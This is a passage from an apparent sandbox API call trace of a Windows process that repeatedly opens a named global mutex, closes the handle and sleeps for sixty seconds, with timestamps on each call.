(dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.349] CloseHandle (hObject=0xbfc) returned 1 [0125.349] Sleep (dwMilliseconds=0xea60) [0125.366] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.366] CloseHandle (hObject=0xbfc) returned 1 [0125.366] Sleep (dwMilliseconds=0xea60) [0125.383] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.383] CloseHandle (hObject=0xbfc) returned 1 [0125.383] Sleep (dwMilliseconds=0xea60) [0125.399] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.399] CloseHandle (hObject=0xbfc) returned 1 [0125.399] Sleep (dwMilliseconds=0xea60) [0125.407] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.407] CloseHandle (hObject=0xbfc) returned 1 [0125.407] Sleep (dwMilliseconds=0xea60) [0125.409] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.409] CloseHandle (hObject=0xc04) returned 1 [0125.423] Sleep (dwMilliseconds=0xea60) [0125.430] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.430] CloseHandle (hObject=0xc04) returned 1 [0125.430] Sleep (dwMilliseconds=0xea60) [0125.430] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.447] CloseHandle (hObject=0xc04) returned 1 [0125.447] Sleep (dwMilliseconds=0xea60) [0125.464] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.464] CloseHandle (hObject=0xc04) returned 1 [0125.464] Sleep (dwMilliseconds=0xea60) [0125.481] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.481] CloseHandle (hObject=0xc04) returned 1 [0125.481] Sleep (dwMilliseconds=0xea60) [0125.499] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.499] CloseHandle (hObject=0xc04) returned 1 [0125.499] Sleep (dwMilliseconds=0xea60) [0125.516] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.516] CloseHandle (hObject=0xc04) returned 1 [0125.517] Sleep (dwMilliseconds=0xea60) [0125.535] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.535] CloseHandle (hObject=0xc04) returned 1 [0125.535] Sleep (dwMilliseconds=0xea60) [0125.552] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.552] CloseHandle (hObject=0xc04) returned 1 [0125.552] Sleep (dwMilliseconds=0xea60) [0125.569] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.569] CloseHandle (hObject=0xc04) returned 1 [0125.569] Sleep (dwMilliseconds=0xea60) [0125.586] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.586] CloseHandle (hObject=0xc04) returned 1 [0125.586] Sleep (dwMilliseconds=0xea60) [0125.599] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.599] CloseHandle (hObject=0xbfc) returned 1 [0125.599] Sleep (dwMilliseconds=0xea60) [0125.599] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.599] CloseHandle (hObject=0xbfc) returned 1 [0125.599] Sleep (dwMilliseconds=0xea60) [0125.610] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.610] CloseHandle (hObject=0xc04) returned 1 [0125.610] Sleep (dwMilliseconds=0xea60) [0125.627] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.627] CloseHandle (hObject=0xc04) returned 1 [0125.627] Sleep (dwMilliseconds=0xea60) [0125.645] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.645] CloseHandle (hObject=0xc04) returned 1 [0125.645] Sleep (dwMilliseconds=0xea60) [0125.661] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.661] CloseHandle (hObject=0xc04) returned 1 [0125.661] Sleep (dwMilliseconds=0xea60) [0125.679] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.679] CloseHandle (hObject=0xc04) returned 1 [0125.679] Sleep (dwMilliseconds=0xea60) [0125.696] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.696] CloseHandle (hObject=0xc04) returned 1 [0125.696] Sleep (dwMilliseconds=0xea60) [0125.714] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.714] CloseHandle (hObject=0xc04) returned 1 [0125.714] Sleep (dwMilliseconds=0xea60) [0125.732] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.732] CloseHandle (hObject=0xc04) returned 1 [0125.732] Sleep (dwMilliseconds=0xea60) [0125.749] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.750] CloseHandle (hObject=0xc04) returned 1 [0125.750] Sleep (dwMilliseconds=0xea60) [0125.767] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.767] CloseHandle (hObject=0xc04) returned 1 [0125.767] Sleep (dwMilliseconds=0xea60) [0125.784] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.784] CloseHandle (hObject=0xc04) returned 1 [0125.784] Sleep (dwMilliseconds=0xea60) [0125.799] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.799] CloseHandle (hObject=0xbfc) returned 1 [0125.801] Sleep (dwMilliseconds=0xea60) [0125.818] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.818] CloseHandle (hObject=0xbfc) returned 1 [0125.818] Sleep (dwMilliseconds=0xea60) [0125.820] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.820] CloseHandle (hObject=0xc04) returned 1 [0125.820] Sleep (dwMilliseconds=0xea60) [0125.836] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.836] CloseHandle (hObject=0xbfc) returned 1 [0125.836] Sleep (dwMilliseconds=0xea60) [0125.853] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.853] CloseHandle (hObject=0xbfc) returned 1 [0125.853] Sleep (dwMilliseconds=0xea60) [0125.865] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.865] CloseHandle (hObject=0xbfc) returned 1 [0125.865] Sleep (dwMilliseconds=0xea60) [0125.865] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.865] CloseHandle (hObject=0xbfc) returned 1 [0125.865] Sleep (dwMilliseconds=0xea60) [0125.886] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.886] CloseHandle (hObject=0xbfc) returned 1 [0125.886] Sleep (dwMilliseconds=0xea60) [0125.895] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.895] CloseHandle (hObject=0xbfc) returned 1 [0125.895] Sleep (dwMilliseconds=0xea60) [0125.915] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0x350 [0125.915] CloseHandle (hObject=0x350) returned 1 [0125.915] Sleep (dwMilliseconds=0xea60) [0125.930] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0x350 [0125.934] CloseHandle (hObject=0x350) returned 1 [0125.934] Sleep (dwMilliseconds=0xea60) [0125.950] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0x338 [0125.950] CloseHandle (hObject=0x338) returned 1 [0125.950] Sleep (dwMilliseconds=0xea60) [0125.950] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0x338 [0125.950] CloseHandle (hObject=0x338) returned 1 [0125.950] Sleep (dwMilliseconds=0xea60) [0125.967] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0x350 [0125.967] CloseHandle (hObject=0x350) returned 1 [0125.967] Sleep (dwMilliseconds=0xea60) [0125.984] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0x350 [0125.984] CloseHandle (hObject=0x350) returned 1 [0125.984] Sleep (dwMilliseconds=0xea60) [0125.995] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb4c [0125.995] CloseHandle (hObject=0xb4c) returned 1 [0125.995] Sleep (dwMilliseconds=0xea60) [0126.009] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.009] CloseHandle (hObject=0xb6c) returned 1 [0126.009] Sleep (dwMilliseconds=0xea60) [0126.015] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.015] CloseHandle (hObject=0xb6c) returned 1 [0126.015] Sleep (dwMilliseconds=0xea60) [0126.027] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.027] CloseHandle (hObject=0xb6c) returned 1 [0126.027] Sleep (dwMilliseconds=0xea60) [0126.043] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.044] CloseHandle (hObject=0xb6c) returned 1 [0126.044] Sleep (dwMilliseconds=0xea60) [0126.059] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb74 [0126.059] CloseHandle (hObject=0xb74) returned 1 [0126.059] Sleep (dwMilliseconds=0xea60) [0126.059] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb74 [0126.059] CloseHandle (hObject=0xb74) returned 1 [0126.059] Sleep (dwMilliseconds=0xea60) [0126.078] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.078] CloseHandle (hObject=0xb6c) returned 1 [0126.078] Sleep (dwMilliseconds=0xea60) [0126.095] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.095] CloseHandle (hObject=0xb6c) returned 1 [0126.095] Sleep (dwMilliseconds=0xea60) [0126.111] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.111] CloseHandle (hObject=0xb6c) returned 1 [0126.111] Sleep (dwMilliseconds=0xea60) [0126.125] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb74 [0126.125] CloseHandle (hObject=0xb74) returned 1 [0126.125] Sleep (dwMilliseconds=0xea60) [0126.145] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.145] CloseHandle (hObject=0xb6c) returned 1 [0126.145] Sleep (dwMilliseconds=0xea60) [0126.146] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.146] CloseHandle (hObject=0xb6c) returned 1 [0126.146] Sleep (dwMilliseconds=0xea60) [0126.154] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.154] CloseHandle (hObject=0xb6c) returned 1 [0126.154] Sleep (dwMilliseconds=0xea60) [0126.171] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.171] CloseHandle (hObject=0xb6c) returned 1 [0126.171] Sleep (dwMilliseconds=0xea60) [0126.188] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.188] CloseHandle (hObject=0xb6c) returned 1 [0126.188] Sleep (dwMilliseconds=0xea60) [0126.205] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.205] CloseHandle (hObject=0xb6c) returned 1 [0126.205] Sleep (dwMilliseconds=0xea60) [0126.222] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.222] CloseHandle (hObject=0xb6c) returned 1 [0126.222] Sleep (dwMilliseconds=0xea60) [0126.239] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.239] CloseHandle (hObject=0xb6c) returned 1 [0126.240] Sleep (dwMilliseconds=0xea60) [0126.254] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb74 [0126.254] CloseHandle (hObject=0xb74) returned 1 [0126.254] Sleep (dwMilliseconds=0xea60) [0126.255] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb74 [0126.255] CloseHandle (hObject=0xb74) returned 1 [0126.255] Sleep (dwMilliseconds=0xea60) [0126.255] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb74 [0126.255] CloseHandle (hObject=0xb74) returned 1 [0126.255] Sleep (dwMilliseconds=0xea60) [0126.260] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb74 [0126.260] CloseHandle (hObject=0xb74) returned 1 [0126.261] Sleep (dwMilliseconds=0xea60) [0126.275] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.275] CloseHandle (hObject=0xb6c) returned 1 [0126.275] Sleep (dwMilliseconds=0xea60) [0126.291] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.292] CloseHandle (hObject=0xb6c) returned 1 [0126.292] Sleep (dwMilliseconds=0xea60) [0126.309] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.309] CloseHandle (hObject=0xb6c) returned 1 [0126.309] Sleep (dwMilliseconds=0xea60) [0126.331] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.331] CloseHandle (hObject=0xb6c) returned 1 [0126.331] Sleep (dwMilliseconds=0xea60) [0126.349] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.349] CloseHandle (hObject=0xb6c) returned 1 [0126.349] Sleep (dwMilliseconds=0xea60) [0126.366] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb6c [0126.366] CloseHandle (hObject=0xb6c) returned 1 [0126.366] Sleep (dwMilliseconds=0xea60) [0126.384] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.384] CloseHandle (hObject=0xb9c) returned 1 [0126.384] Sleep (dwMilliseconds=0xea60) [0126.401] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.401] CloseHandle (hObject=0xb9c) returned 1 [0126.401] Sleep (dwMilliseconds=0xea60) [0126.411] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.411] CloseHandle (hObject=0xb9c) returned 1 [0126.411] Sleep (dwMilliseconds=0xea60) [0126.423] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.423] CloseHandle (hObject=0xb9c) returned 1 [0126.424] Sleep (dwMilliseconds=0xea60) [0126.440] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.440] CloseHandle (hObject=0xb9c) returned 1 [0126.440] Sleep (dwMilliseconds=0xea60) [0126.457] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.457] CloseHandle (hObject=0xb9c) returned 1 [0126.457] Sleep (dwMilliseconds=0xea60) [0126.474] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.474] CloseHandle (hObject=0xb9c) returned 1 [0126.474] Sleep (dwMilliseconds=0xea60) [0126.491] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.491] CloseHandle (hObject=0xb9c) returned 1 [0126.491] Sleep (dwMilliseconds=0xea60) [0126.507] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.507] CloseHandle (hObject=0xb9c) returned 1 [0126.507] Sleep (dwMilliseconds=0xea60) [0126.515] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb30 [0126.515] CloseHandle (hObject=0xb30) returned 1 [0126.515] Sleep (dwMilliseconds=0xea60) [0126.526] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.526] CloseHandle (hObject=0xb9c) returned 1 [0126.526] Sleep (dwMilliseconds=0xea60) [0126.551] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.551] CloseHandle (hObject=0xb9c) returned 1 [0126.551] Sleep (dwMilliseconds=0xea60) [0126.587] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.587] CloseHandle (hObject=0xb9c) returned 1 [0126.587] Sleep (dwMilliseconds=0xea60) [0126.604] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.604] CloseHandle (hObject=0xb9c) returned 1 [0126.604] Sleep (dwMilliseconds=0xea60) [0126.621] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.621] CloseHandle (hObject=0xb9c) returned 1 [0126.622] Sleep (dwMilliseconds=0xea60) [0126.629] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb30 [0126.629] CloseHandle (hObject=0xb30) returned 1 [0126.629] Sleep (dwMilliseconds=0xea60) [0126.635] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.635] CloseHandle (hObject=0xb9c) returned 1 [0126.636] Sleep (dwMilliseconds=0xea60) [0126.643] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.644] CloseHandle (hObject=0xb9c) returned 1 [0126.644] Sleep (dwMilliseconds=0xea60) [0126.661] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.661] CloseHandle (hObject=0xb9c) returned 1 [0126.661] Sleep (dwMilliseconds=0xea60) [0126.679] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.679] CloseHandle (hObject=0xb9c) returned 1 [0126.679] Sleep (dwMilliseconds=0xea60) [0126.697] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.697] CloseHandle (hObject=0xb9c) returned 1 [0126.697] Sleep (dwMilliseconds=0xea60) [0126.713] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.713] CloseHandle (hObject=0xb9c) returned 1 [0126.714] Sleep (dwMilliseconds=0xea60) [0126.731] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.731] CloseHandle (hObject=0xb9c) returned 1 [0126.731] Sleep (dwMilliseconds=0xea60) [0126.749] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.749] CloseHandle (hObject=0xb9c) returned 1 [0126.750] Sleep (dwMilliseconds=0xea60) [0126.755] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb30 [0126.755] CloseHandle (hObject=0xb30) returned 1 [0126.755] Sleep (dwMilliseconds=0xea60) [0126.772] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.772] CloseHandle (hObject=0xb9c) returned 1 [0126.772] Sleep (dwMilliseconds=0xea60) [0126.793] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.793] CloseHandle (hObject=0xb9c) returned 1 [0126.793] Sleep (dwMilliseconds=0xea60) [0126.815] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.815] CloseHandle (hObject=0xb9c) returned 1 [0126.815] Sleep (dwMilliseconds=0xea60) [0126.836] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.836] CloseHandle (hObject=0xb9c) returned 1 [0126.837] Sleep (dwMilliseconds=0xea60) [0126.860] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.860] CloseHandle (hObject=0xb9c) returned 1 [0126.860] Sleep (dwMilliseconds=0xea60) [0126.881] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.881] CloseHandle (hObject=0xb9c) returned 1 [0126.881] Sleep (dwMilliseconds=0xea60) [0126.906] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.906] CloseHandle (hObject=0xb9c) returned 1 [0126.906] Sleep (dwMilliseconds=0xea60) [0126.931] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.931] CloseHandle (hObject=0xb9c) returned 1 [0126.931] Sleep (dwMilliseconds=0xea60) [0126.954] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.954] CloseHandle (hObject=0xb9c) returned 1 [0126.954] Sleep (dwMilliseconds=0xea60) [0126.976] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.976] CloseHandle (hObject=0xb9c) returned 1 [0126.976] Sleep (dwMilliseconds=0xea60) [0126.999] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0126.999] CloseHandle (hObject=0xb9c) returned 1 [0127.000] Sleep (dwMilliseconds=0xea60) [0127.023] OpenMutexA 